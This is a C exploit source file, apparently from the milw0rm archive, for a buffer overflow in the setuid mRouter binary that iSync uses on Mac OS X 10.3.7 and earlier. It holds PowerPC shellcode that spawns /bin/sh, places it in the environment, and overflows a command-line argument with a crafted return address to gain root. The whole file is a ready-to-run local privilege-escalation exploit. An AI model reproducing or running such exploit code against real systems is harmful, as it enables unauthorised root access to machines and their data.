56 lines
No EOL
1.7 KiB
C
56 lines
No EOL
1.7 KiB
C
/*
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* fm-iSink.c
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* overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
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*
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* written by -( nemo @ felinemenace.org )-
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*
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* _,'| _.-''``-...___..--';)
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* /_ \'. __..-' , ,--...--'''
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* <\ .`--''' ` /'
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* `-';' ; ; ;
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* __...--'' ___...--_..' .;.'
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* fL (,__....----''' (,..--''
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*
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* http://pulltheplug.org and http://felinemenace.org.
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*
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* Bug discovered by Braden Thomas. Exploit by nemo.
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*
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* -( need a challenge...? )-
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* -( http://www.pulltheplug.org )-
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*/
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#include <sys/types.h>
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#include <string.h>
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#include <unistd.h>
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#define VULNPROG
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"/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/
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mRouter"
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#define MAXBUFSIZE 4096
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char shellcode[] = // Shellcode by b-r00t, modified by nemo.
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"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
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"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
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"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
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"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
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"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
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"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
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"\x2f\x73\x68";
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char filler[MAXBUFSIZE];
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int main(int ac, char **av)
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{
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unsigned int ret = 0xbffffffa - strlen(shellcode);
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char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
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char *env[] = { "TERM=xterm", shellcode, NULL };
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memset(filler,(char)'A',sizeof(filler));
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memcpy(filler+MAXBUFSIZE-5,&ret,4);
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execve(*args, args,env);
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return 0;
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}
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// milw0rm.com [2005-01-22]
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